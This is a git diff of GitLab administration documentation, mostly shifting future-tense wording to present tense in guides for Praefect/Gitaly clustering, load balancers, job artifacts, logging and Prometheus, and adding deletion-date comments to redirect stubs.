d091ae5895a..edee79ebee3 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -133,7 +133,7 @@ GitLab](https://about.gitlab.com/install/). - 3 Gitaly nodes (high CPU, high memory, fast storage) - 1 GitLab server -You will need the IP/host address for each node. +You need the IP/host address for each node. 1. `LOAD_BALANCER_SERVER_ADDRESS`: the IP/host address of the load balancer 1. `POSTGRESQL_SERVER_ADDRESS`: the IP/host address of the PostgreSQL server @@ -149,7 +149,7 @@ If you are using Google Cloud Platform, SoftLayer, or any other vendor that prov The communication between components is secured with different secrets, which are described below. Before you begin, generate a unique secret for each, and -make note of it. This will make it easy to replace these placeholder tokens +make note of it. This makes it easy to replace these placeholder tokens with secure tokens as you complete the setup process. 1. `GITLAB_SHELL_SECRET_TOKEN`: this is used by Git hooks to make callback HTTP @@ -164,7 +164,7 @@ with secure tokens as you complete the setup process. 1. `PRAEFECT_SQL_PASSWORD`: this password is used by Praefect to connect to PostgreSQL. -We will note in the instructions below where these secrets are required. +We note in the instructions below where these secrets are required. ### PostgreSQL @@ -184,13 +184,13 @@ failure. For greater fault tolerance, the following options are available: - Use a cloud-managed PostgreSQL service. AWS [Relational Database Service](https://aws.amazon.com/rds/) is recommended. -To complete this section you will need: +To complete this section you need: - 1 Praefect node - 1 PostgreSQL server (PostgreSQL 11 or newer) - An SQL user with permissions to create databases -During this section, we will configure the PostgreSQL server, from the Praefect +During this section, we configure the PostgreSQL server, from the Praefect node, using `psql` which is installed by Omnibus GitLab. 1. SSH into the **Praefect** node and login as root: @@ -207,7 +207,7 @@ node, using `psql` which is installed by Omnibus GitLab. /opt/gitlab/embedded/bin/psql -U postgres -d template1 -h POSTGRESQL_SERVER_ADDRESS ``` - Create a new user `praefect` which will be used by Praefect. Replace + Create a new user `praefect` to be used by Praefect. Replace `PRAEFECT_SQL_PASSWORD` with the strong password you generated in the preparation step. @@ -281,11 +281,10 @@ PostgreSQL instances. Otherwise you should change the configuration parameter NOTE: **Note:** If there are multiple Praefect nodes, complete these steps for **each** node. -To complete this section you will need: +To complete this section you need a [configured PostgreSQL server](#postgresql), including: -- [Configured PostgreSQL server](#postgresql), including: - - IP/host address (`POSTGRESQL_SERVER_ADDRESS`) - - password (`PRAEFECT_SQL_PASSWORD`) +- IP/host address (`POSTGRESQL_SERVER_ADDRESS`) +- Password (`PRAEFECT_SQL_PASSWORD`) Praefect should be run on a dedicated node. Do not run Praefect on the application server, or a Gitaly node. @@ -331,8 +330,8 @@ application server, or a Gitaly node. ``` 1. Configure a strong `auth_token` for **Praefect** by editing - `/etc/gitlab/gitlab.rb`. This will be needed by clients outside the cluster - (like GitLab Shell) to communicate with the Praefect cluster : + `/etc/gitlab/gitlab.rb`. This is needed by clients outside the cluster + (like GitLab Shell) to communicate with the Praefect cluster: ```ruby praefect['auth_token'] = 'PRAEFECT_EXTERNAL_TOKEN' @@ -341,7 +340,7 @@ application server, or a Gitaly node. 1. Configure **Praefect** to connect to the PostgreSQL database by editing `/etc/gitlab/gitlab.rb`. - You will need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address + You need to replace `POSTGRESQL_SERVER_ADDRESS` with the IP/host address of the database, and `PRAEFECT_SQL_PASSWORD` with the strong password set above. @@ -364,7 +363,7 @@ application server, or a Gitaly node. # praefect['database_sslrootcert'] = '/path/to/rootcert' ``` - By default Praefect will refuse to make an unencrypted connection to + By default, Praefect refuses to make an unencrypted connection to PostgreSQL. You can override this by uncommenting the following line: ```ruby @@ -377,7 +376,7 @@ application server, or a Gitaly node. The virtual storage's name must match the configured storage name in GitLab configuration. In a later step, we configure the storage name as `default` so we use `default` here as well. This cluster has three Gitaly nodes `gitaly-1`, - `gitaly-2`, and `gitaly-3`, which will be replicas of each other. + `gitaly-2`, and `gitaly-3`, which are intended to be replicas of each other. CAUTION: **Caution:** If you have data on an already existing storage called @@ -385,7 +384,7 @@ application server, or a Gitaly node. [migrate the data to the Gitaly Cluster storage](#migrate-existing-repositories-to-gitaly-cluster) afterwards. - Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which will be used by + Replace `PRAEFECT_INTERNAL_TOKEN` with a strong secret, which is used by Praefect when communicating with Gitaly nodes in the cluster. This token is distinct from the `PRAEFECT_EXTERNAL_TOKEN`. @@ -555,12 +554,12 @@ To configure Praefect with TLS: NOTE: **Note:** `/some/local/path` should be set to a local folder that exists, however no - data will be stored in this folder. This will no longer be necessary after + data is stored in this folder. This requirement is scheduled to be removed when [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/1282) is resolved. 1. Save the file and [restart GitLab](../restart_gitlab.md#installations-from-source). 1. Copy all Praefect server certificates, or their certificate authority, to the system - trusted certificates on each Gitaly server so the Praefect server will trust the + trusted certificates on each Gitaly server so the Praefect server trusts the certificate when called by Gitaly servers: ```shell @@ -585,7 +584,7 @@ To configure Praefect with TLS: NOTE: **Note:** Complete these steps for **each** Gitaly node. -To complete this section you will need: +To complete this section you need: - [Configured Praefect node](#praefect) - 3 (or more) servers, with GitLab installed, to be configured as Gitaly nodes. @@ -595,19 +594,19 @@ Every Gitaly server assigned to the Praefect cluster needs to be configured. The configuration is the same as a normal [standalone Gitaly server](index.md), except: -- the storage names are exposed to Praefect, not GitLab -- the secret token is shared with Praefect, not GitLab +- The storage names are exposed to Praefect, not GitLab +- The secret token is shared with Praefect, not GitLab The configuration of all Gitaly nodes in the Praefect cluster can be identical, because we rely on Praefect to route operations correctly. Particular attention should be shown to: -- the `gitaly['auth_token']` configured in this section must match the `token` +- The `gitaly['auth_token']` configured in this section must match the `token` value under `praefect['virtual_storages']` on the Praefect node. This was set in the [previous section](#praefect). This document uses the placeholder `PRAEFECT_INTERNAL_TOKEN` throughout. -- the storage names in `git_data_dirs` configured in this section must match the +- The storage names in `git_data_dirs` configured in this section must match the storage names under `praefect['virtual_storages']` on the Praefect node. This was set in the [previous section](#praefect). This document uses `gitaly-1`, `gitaly-2`, and `gitaly-3` as Gitaly storage names. @@ -659,8 +658,8 @@ documentation](index.md#configure-gitaly-servers). ``` 1. Configure a strong `auth_token` for **Gitaly** by editing - `/etc/gitlab/gitlab.rb`. This will be needed by clients to communicate with - this Gitaly nodes. Typically, this token will be the same for all Gitaly + `/etc/gitlab/gitlab.rb`. This is needed by clients to communicate with + this Gitaly nodes. Typically, this token is the same for all Gitaly nodes. ```ruby @@ -754,7 +753,7 @@ We hope that if you’re managing HA systems like GitLab, you have a load balanc of choice already. Some examples include [HAProxy](https://www.haproxy.org/) (open-source), [Google Internal Load Balancer](https://cloud.google.com/load-balancing/docs/internal/), [AWS Elastic Load Balancer](https://aws.amazon.com/elasticloadbalancing/), F5 -Big-IP LTM, and Citrix Net Scaler. This documentation will outline what ports +Big-IP LTM, and Citrix Net Scaler. This documentation outlines what ports and protocols you need configure. | LB Port | Backend Port | Protocol | @@ -763,7 +762,7 @@ and protocols you need configure. ### GitLab -To complete this section you will need: +To complete this section you need: - [Configured Praefect node](#praefect) - [Configured Gitaly nodes](#gitaly) @@ -787,15 +786,15 @@ Particular attention should be shown to: 1. Configure the `external_url` so that files could be served by GitLab by proper endpoint access by editing `/etc/gitlab/gitlab.rb`: - You will need to replace `GITLAB_SERVER_URL` with the real external facing + You need to replace `GITLAB_SERVER_URL` with the real external facing URL on which current GitLab instance is serving: ```ruby external_url 'GITLAB_SERVER_URL' ``` -1. Disable the default Gitaly service running on the GitLab host. It won't be needed - as GitLab will connect to the configured cluster. +1. Disable the default Gitaly service running on the GitLab host. It isn't needed + because GitLab connects to the configured cluster. CAUTION: **Caution:** If you have existing data stored on the default Gitaly storage, @@ -809,7 +808,7 @@ Particular attention should be shown to: 1. Add the Praefect cluster as a storage location by editing `/etc/gitlab/gitlab.rb`. - You will need to replace: + You need to replace: - `LOAD_BALANCER_SERVER_ADDRESS` with the IP address or hostname of the load balancer. @@ -828,7 +827,7 @@ Particular attention should be shown to: nodes during a `git push` are properly authenticated by editing `/etc/gitlab/gitlab.rb`: - You will need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. + You need to replace `GITLAB_SHELL_SECRET_TOKEN` with the real secret. ```ruby gitlab_shell['secret_token'] = 'GITLAB_SHELL_SECRET_TOKEN' @@ -837,7 +836,7 @@ Particular attention should be shown to: 1. Add Prometheus monitoring settings by editing `/etc/gitlab/gitlab.rb`. If Prometheus is enabled on a different node, make edits on that node instead. - You will need to replace: + You need to replace: - `PRAEFECT_HOST` with the IP address or hostname of the Praefect node - `GITALY_HOST` with the IP address or hostname of each Gitaly node @@ -922,7 +921,7 @@ To get started quickly: gitlab-ctl reconfigure ``` -1. Set the Grafana admin password. This command will prompt you to enter a new +1. Set the Grafana admin password. This command prompts you to enter a new password: ```shell @@ -966,7 +965,7 @@ _Up to date_ in this context means that: - The last replication operation is in _completed_ state. If there is no such nodes, or any other error occurs during node selection, the primary -node will be chosen to serve the request. +node is chosen to serve the request. To track distribution of read operations, you can use the `gitaly_praefect_read_distribution` Prometheus counter metric. It has two labels: @@ -1040,9 +1039,9 @@ current primary node is found to be unhealthy. - **PostgreSQL (recommended):** Enabled by default, and equivalent to: `praefect['failover_election_strategy'] = sql`. This configuration - option will allow multiple Praefect nodes to coordinate via the + option allows multiple Praefect nodes to coordinate via the PostgreSQL database to elect a primary Gitaly node. This configuration - will cause Praefect nodes to elect a new primary, monitor its health, + causes Praefect nodes to elect a new primary, monitor its health, and elect a new primary if the current one has not been reachable in 10 seconds by a majority of the Praefect nodes. - **Memory:** Enabled by setting `praefect['failover_election_strategy'] = 'local'` @@ -1051,8 +1050,7 @@ current primary node is found to be unhealthy. be elected. **Do not use with multiple Praefect nodes!** Using with multiple Praefect nodes is likely to result in a split brain. -It is likely that we will implement support for Consul, and a cloud native -strategy in the future. +We are likely to implement support for Consul, and a cloud native, strategy in the future. ## Primary Node Failure diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md index 53001b946d8..3ba6783ae3a 100644 --- a/doc/administration/gitaly/reference.md +++ b/doc/administration/gitaly/reference.md @@ -75,7 +75,7 @@ the `gitaly_authentications_total` metric. ### TLS -Gitaly supports TLS encryption. You will need to bring your own certificates as +Gitaly supports TLS encryption. You need to bring your own certificates as this isn't provided automatically. | Name | Type | Required | Description | @@ -128,7 +128,7 @@ The following values can be set in the `[git]` section of the configuration file | Name | Type | Required | Description | | ---- | ---- | -------- | ----------- | -| `bin_path` | string | no | Path to Git binary. If not set, will be resolved using `PATH`. | +| `bin_path` | string | no | Path to Git binary. If not set, is resolved using `PATH`. | | `catfile_cache_size` | integer | no | Maximum number of cached [cat-file processes](#cat-file-cache). Default is `100`. | #### `cat-file` cache @@ -192,8 +192,8 @@ For historical reasons [GitLab Shell](https://gitlab.com/gitlab-org/gitlab-shell) contains the Git hooks that allow GitLab to validate and react to Git pushes. Because Gitaly "owns" Git pushes, GitLab Shell must therefore be -installed alongside Gitaly. This will be [simplified in the -future](https://gitlab.com/gitlab-org/gitaly/-/issues/1226). +installed alongside Gitaly. We plan to +[simplify this](https://gitlab.com/gitlab-org/gitaly/-/issues/1226). | Name | Type | Required | Description | | ---- | ---- | -------- | ----------- | @@ -238,9 +238,11 @@ The following values configure logging in Gitaly under the `[logging]` section. While the main Gitaly application logs go to `stdout`, there are some extra log files that go to a configured directory, like the GitLab Shell logs. -GitLab Shell does not support `panic` or `trace` level logs. `panic` will fall -back to `error`, while `trace` will fall back to `debug`. Any other invalid log -levels will default to `info`. +GitLab Shell does not support `panic` or `trace` level logs: + +- `panic` falls back to `error`. +- `trace` falls back to `debug`. +- Any other invalid log levels default to `info`. Example: diff --git a/doc/administration/index.md b/doc/administration/index.md index 0aa94b86371..f667bdb5d2e 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -135,7 +135,7 @@ Learn how to install, configure, update, and maintain your GitLab instance. - [Issue closing pattern](issue_closing_pattern.md): Customize how to close an issue from commit messages. - [Gitaly](gitaly/index.md): Configuring Gitaly, GitLab's Git repository storage service. -- [Default labels](../user/admin_area/labels.md): Create labels that will be automatically added to every new project. +- [Default labels](../user/admin_area/labels.md): Create labels that are automatically added to every new project. - [Restrict the use of public or internal projects](../public_access/public_access.md#restricting-the-use-of-public-or-internal-projects): Restrict the use of visibility levels for users when they create a project or a snippet. - [Custom project templates](../user/admin_area/custom_project_templates.md): Configure a set of projects to be used as custom templates when creating a new project. **(PREMIUM ONLY)** diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md index b00586b281b..6af016c873d 100644 --- a/doc/administration/instance_review.md +++ b/doc/administration/instance_review.md @@ -21,5 +21,5 @@ you qualify for a free Instance Review. 1. GitLab redirects you to a form with prefilled data obtained from your instance. 1. Click **Submit** to see the initial report. -A GitLab team member will contact you for further review, to provide suggestions -that will help you improve your usage of GitLab. +You will be contacted by a GitLab team member for further review, to provide suggestions +intended to help you improve your usage of GitLab. diff --git a/doc/administration/job_artifacts.md b/doc/administration/job_artifacts.md index a010903013e..aca5b321262 100644 --- a/doc/administration/job_artifacts.md +++ b/doc/administration/job_artifacts.md @@ -118,14 +118,14 @@ This section describes the earlier configuration format. For source installations the following settings are nested under `artifacts:` and then `object_store:`. On Omnibus GitLab installs they are prefixed by `artifacts_object_store_`. -| Setting | Description | Default | -|---------|-------------|---------| -| `enabled` | Enable/disable object storage | `false` | -| `remote_directory` | The bucket name where Artifacts will be stored| | -| `direct_upload` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | `false` | -| `background_upload` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | `true` | -| `proxy_download` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data | `false` | -| `connection` | Various connection options described below | | +| Setting | Default | Description | +|---------------------|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `enabled` | `false` | Enable/disable object storage | +| `remote_directory` | | The bucket name where Artifacts are stored | +| `direct_upload` | `false` | Set to `true` to enable direct upload of Artifacts without the need of local shared storage. Option may be removed once we decide to support only single storage for all files. | +| `background_upload` | `true` | Set to `false` to disable automatic upload. Option may be removed once upload is direct to S3 | +| `proxy_download` | `false` | Set to `true` to enable proxying all files served. Option allows to reduce egress traffic as this allows clients to download directly from remote storage instead of proxying all data. | +| `connection` | | Various connection options described below | #### Connection settings @@ -336,7 +336,7 @@ To migrate back to local storage: If [`artifacts:expire_in`](../ci/yaml/README.md#artifactsexpire_in) is used to set an expiry for the artifacts, they are marked for deletion right after that date passes. -Otherwise, they will expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). +Otherwise, they expire per the [default artifacts expiration setting](../user/admin_area/settings/continuous_integration.md). Artifacts are cleaned up by the `expire_build_artifacts_worker` cron job which Sidekiq runs every hour at 50 minutes (`50 * * * *`). @@ -367,7 +367,7 @@ steps below. 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -If the `expire` directive is not set explicitly in your pipeline, artifacts will expire per the +If the `expire` directive is not set explicitly in your pipeline, artifacts expire per the default artifacts expiration setting, which you can find in the [CI/CD Admin settings](../user/admin_area/settings/continuous_integration.md). ## Validation for dependencies @@ -444,7 +444,7 @@ reasons are: - The number of jobs run, and hence artifacts generated, is higher than expected. - Job logs are larger than expected, and have accumulated over time. -In these and other cases, you'll need to identify the projects most responsible +In these and other cases, identify the projects most responsible for disk space usage, figure out what types of artifacts are using the most space, and in some cases, manually delete job artifacts to reclaim disk space. @@ -508,7 +508,7 @@ If you need to manually remove job artifacts associated with multiple jobs while 1. Delete job artifacts older than a specific date: NOTE: **Note:** - This step will also erase artifacts that users have chosen to + This step also erases artifacts that users have chosen to ["keep"](../ci/pipelines/job_artifacts.md#browsing-artifacts). ```ruby @@ -552,7 +552,7 @@ If you need to manually remove **all** job artifacts associated with multiple jo builds_with_artifacts = Ci::Build.with_existing_job_artifacts(Ci::JobArtifact.trace) ``` -1. Select the user which will be mentioned in the web UI as erasing the job: +1. Select the user which is mentioned in the web UI as erasing the job: ```ruby admin_user = User.find_by(username: 'username') diff --git a/doc/administration/job_traces.md b/doc/administration/job_traces.md index d0b346a931e..2dbcf5d6705 100644 --- a/doc/administration/job_traces.md +++ b/doc/administration/job_traces.md @@ -3,3 +3,6 @@ redirect_to: 'job_logs.md' --- This document was moved to [another location](job_logs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/lfs_administration.md b/doc/administration/lfs/lfs_administration.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/administration/lfs/lfs_administration.md +++ b/doc/administration/lfs/lfs_administration.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md index 4656bccf5e6..69c401acb86 100644 --- a/doc/administration/lfs/manage_large_binaries_with_git_lfs.md +++ b/doc/administration/lfs/manage_large_binaries_with_git_lfs.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/index.md' --- This document was moved to [another location](../../topics/git/lfs/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md index dd98a50e353..16095c1dbf6 100644 --- a/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md +++ b/doc/administration/lfs/migrate_from_git_annex_to_git_lfs.md @@ -3,3 +3,6 @@ redirect_to: '../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md' --- This document was moved to [another location](../../topics/git/lfs/migrate_from_git_annex_to_git_lfs.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/libravatar.md b/doc/administration/libravatar.md index a92e6fade03..5d92a0162bf 100644 --- a/doc/administration/libravatar.md +++ b/doc/administration/libravatar.md @@ -41,7 +41,7 @@ the configuration options as follows: ### Your own Libravatar server If you are [running your own Libravatar service](https://wiki.libravatar.org/running_your_own/), -the URL will be different in the configuration, but you must provide the same +the URL is different in the configuration, but you must provide the same placeholders so GitLab can parse the URL correctly. For example, you host a service on `http://libravatar.example.com` and the diff --git a/doc/administration/load_balancer.md b/doc/administration/load_balancer.md index 410381ff2b0..1ab87fb4b4c 100644 --- a/doc/administration/load_balancer.md +++ b/doc/administration/load_balancer.md @@ -7,17 +7,17 @@ type: reference # Load Balancer for multi-node GitLab -In an multi-node GitLab configuration, you will need a load balancer to route +In an multi-node GitLab configuration, you need a load balancer to route traffic to the application servers. The specifics on which load balancer to use or the exact configuration is beyond the scope of GitLab documentation. We hope that if you're managing HA systems like GitLab you have a load balancer of choice already. Some examples including HAProxy (open-source), F5 Big-IP LTM, -and Citrix Net Scaler. This documentation will outline what ports and protocols +and Citrix Net Scaler. This documentation outlines what ports and protocols you need to use with GitLab. ## SSL -How will you handle SSL in your multi-node environment? There are several different +How do you want to handle SSL in your multi-node environment? There are several different options: - Each application node terminates SSL @@ -29,8 +29,8 @@ options: ### Application nodes terminate SSL Configure your load balancer(s) to pass connections on port 443 as 'TCP' rather -than 'HTTP(S)' protocol. This will pass the connection to the application nodes -NGINX service untouched. NGINX will have the SSL certificate and listen on port 443. +than 'HTTP(S)' protocol. This passes the connection to the application nodes +NGINX service untouched. NGINX has the SSL certificate and listen on port 443. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. @@ -38,10 +38,10 @@ for details on managing SSL certificates and configuring NGINX. ### Load Balancer(s) terminate SSL without backend SSL Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'. -The load balancer(s) will then be responsible for managing SSL certificates and +The load balancer(s) is be responsible for managing SSL certificates and terminating SSL. -Since communication between the load balancer(s) and GitLab will not be secure, +Since communication between the load balancer(s) and GitLab isn't secure, there is some additional configuration needed. See [NGINX Proxied SSL documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#supporting-proxied-ssl) for details. @@ -49,12 +49,12 @@ for details. ### Load Balancer(s) terminate SSL with backend SSL Configure your load balancer(s) to use the 'HTTP(S)' protocol rather than 'TCP'. -The load balancer(s) will be responsible for managing SSL certificates that -end users will see. +The load balancer(s) is responsible for managing SSL certificates that +end users see. -Traffic will also be secure between the load balancer(s) and NGINX in this +Traffic is secure between the load balancer(s) and NGINX in this scenario. There is no need to add configuration for proxied SSL since the -connection will be secure all the way. However, configuration will need to be +connection is secure all the way. However, configuration must be added to GitLab to configure SSL certificates. See [NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https) for details on managing SSL certificates and configuring NGINX. @@ -75,13 +75,13 @@ for details on managing SSL certificates and configuring NGINX. to pass through the `Connection` and `Upgrade` hop-by-hop headers. See the [web terminal](integration/terminal.md) integration guide for more details. -- (*2*): When using HTTPS protocol for port 443, you will need to add an SSL +- (*2*): When using HTTPS protocol for port 443, you must add an SSL certificate to the load balancers. If you wish to terminate SSL at the GitLab application server instead, use TCP protocol. ### GitLab Pages Ports -If you're using GitLab Pages with custom domain support you will need some +If you're using GitLab Pages with custom domain support you need some additional port configurations. GitLab Pages requires a separate virtual IP address. Configure DNS to point the `pages_external_url` from `/etc/gitlab/gitlab.rb` at the new virtual IP address. See the @@ -103,7 +103,7 @@ GitLab Pages requires a separate virtual IP address. Configure DNS to point the Some organizations have policies against opening SSH port 22. In this case, it may be helpful to configure an alternate SSH hostname that allows users -to use SSH on port 443. An alternate SSH hostname will require a new virtual IP address +to use SSH on port 443. An alternate SSH hostname requires a new virtual IP address compared to the other GitLab HTTP configuration above. Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. @@ -114,7 +114,7 @@ Configure DNS for an alternate SSH hostname such as `altssh.gitlab.example.com`. ## Readiness check -It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma will not accept requests. +It is strongly recommend that multi-node deployments configure load balancers to use the [readiness check](../user/admin_area/monitoring/health_check.md#readiness) to ensure a node is ready to accept traffic, before routing traffic to it. This is especially important when utilizing Puma, as there is a brief period during a restart where Puma doesn't accept requests. <!-- ## Troubleshooting diff --git a/doc/administration/logs.md b/doc/administration/logs.md index e5523ba67aa..156990cc4d6 100644 --- a/doc/administration/logs.md +++ b/doc/administration/logs.md @@ -979,6 +979,9 @@ When [troubleshooting](troubleshooting/index.md) issues that aren't localized to previously listed components, it's helpful to simultaneously gather multiple logs and statistics from a GitLab instance. +NOTE: **Note:** +GitLab Support will often ask for one of these, and maintains the required tools. + ### Briefly tail the main logs If the bug or error is readily reproducible, save the main GitLab logs @@ -995,12 +998,9 @@ Conclude the log gathering with <kbd>Ctrl</kbd> + <kbd>C</kbd>. If performance degradations or cascading errors occur that can't readily be attributed to one of the previously listed GitLab components, [GitLabSOS](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/) -can provide a perspective spanning all of Omnibus GitLab. For more details and instructions +can provide a broader perspective of the GitLab instance. For more details and instructions to run it, read [the GitLabSOS documentation](https://gitlab.com/gitlab-com/support/toolbox/gitlabsos/#gitlabsos). -NOTE: **Note:** -GitLab Support likes to use this custom-made tool. - ### Fast-stats [Fast-stats](https://gitlab.com/gitlab-com/support/toolbox/fast-stats) is a tool diff --git a/doc/administration/maven_packages.md b/doc/administration/maven_packages.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/maven_packages.md +++ b/doc/administration/maven_packages.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/maven_repository.md b/doc/administration/maven_repository.md index cdcce79f8f9..690b6785941 100644 --- a/doc/administration/maven_repository.md +++ b/doc/administration/maven_repository.md @@ -3,3 +3,6 @@ redirect_to: 'packages/index.md' --- This document was moved to [another location](packages/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/gitlab_instance_administration_project/index.md b/doc/administration/monitoring/gitlab_instance_administration_project/index.md index 1235eb2edec..59837dcdb20 100644 --- a/doc/administration/monitoring/gitlab_instance_administration_project/index.md +++ b/doc/administration/monitoring/gitlab_instance_administration_project/index.md @@ -3,3 +3,6 @@ redirect_to: '../gitlab_self_monitoring_project/index.md' --- This document was moved to [another location](../gitlab_self_monitoring_project/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md index fcaf9aaaaee..e4a4e9663ff 100644 --- a/doc/administration/monitoring/gitlab_self_monitoring_project/index.md +++ b/doc/administration/monitoring/gitlab_self_monitoring_project/index.md @@ -14,13 +14,13 @@ health of their GitLab instance. To surface this experience in a native way (similar to how you would interact with an application deployed using GitLab), a base project called "GitLab self monitoring" with [internal visibility](../../../public_access/public_access.md#internal-projects) -will be added under a group called "GitLab Instance Administrators" +is added under a group called "GitLab Instance Administrators" specifically created for visualizing and configuring the monitoring of your GitLab instance. -All administrators at the time of creation of the project and group will be -added as maintainers of the group and project, and as an admin, you'll be able -to add new members to the group to give them maintainer access to the project. +All administrators at the time of creation of the project and group are +added as maintainers of the group and project, and as an admin, you can +add new members to the group to give them maintainer access to the project. This project is used to self monitor your GitLab instance. The metrics dashboard of the project shows some basic resource usage charts, such as CPU and memory usage @@ -34,13 +34,13 @@ metrics exposed by the [GitLab exporter](../prometheus/gitlab_metrics.md#metrics 1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section. 1. Toggle the **Create Project** button on. -1. Once your GitLab instance creates the project, you'll see a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**. +1. Once your GitLab instance creates the project, GitLab displays a link to the project in the text above the **Create Project** toggle. You can also find it under **Projects > Your projects**. ## Deleting the self monitoring project CAUTION: **Warning:** -If you delete the self monitoring project, you will lose any changes made to the -project. If you create the project again, it will be created in its default state. +Deleting the self monitoring project removes any changes made to the project. If +you create the project again, it's created in its default state. 1. Navigate to **Admin Area > Settings > Metrics and profiling**, and expand the **Self monitoring** section. 1. Toggle the **Create Project** button off. @@ -63,7 +63,7 @@ You can also ## Connection to Prometheus -The project will be automatically configured to connect to the +The project is automatically configured to connect to the [internal Prometheus](../prometheus/index.md) instance if the Prometheus instance is present (should be the case if GitLab was installed via Omnibus and you haven't disabled it). diff --git a/doc/administration/monitoring/performance/introduction.md b/doc/administration/monitoring/performance/introduction.md index 7ace0ec5a93..a275efce5bb 100644 --- a/doc/administration/monitoring/performance/introduction.md +++ b/doc/administration/monitoring/performance/introduction.md @@ -3,3 +3,6 @@ redirect_to: 'index.md' --- This document was moved to [another location](index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/performance/prometheus.md b/doc/administration/monitoring/performance/prometheus.md index f05a420fc19..2978de865e2 100644 --- a/doc/administration/monitoring/performance/prometheus.md +++ b/doc/administration/monitoring/performance/prometheus.md @@ -3,3 +3,6 @@ redirect_to: '../prometheus/index.md' --- This document was moved to [another location](../prometheus/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md index ae3a3d739b5..8fa2e16dcd0 100644 --- a/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md +++ b/doc/administration/monitoring/prometheus/gitlab_monitor_exporter.md @@ -3,3 +3,6 @@ redirect_to: 'gitlab_exporter.md' --- This document was moved to [another location](gitlab_exporter.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/monitoring/prometheus/index.md b/doc/administration/monitoring/prometheus/index.md index 91f810dc681..22c59c5a7fb 100644 --- a/doc/administration/monitoring/prometheus/index.md +++ b/doc/administration/monitoring/prometheus/index.md @@ -10,10 +10,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w > > - Prometheus and the various exporters listed in this page are bundled in the > Omnibus GitLab package. Check each exporter's documentation for the timeline -> they got added. For installations from source you will have to install them -> yourself. Over subsequent releases additional GitLab metrics will be captured. +> they got added. For installations from source you must install them +> yourself. Over subsequent releases additional GitLab metrics are captured. > - Prometheus services are on by default with GitLab 9.0. -> - Prometheus and its exporters don't authenticate users, and will be available +> - Prometheus and its exporters don't authenticate users, and are available > to anyone who can access them. [Prometheus](https://prometheus.io) is a powerful time-series monitoring service, providing a flexible @@ -34,9 +34,9 @@ dashboard tool like 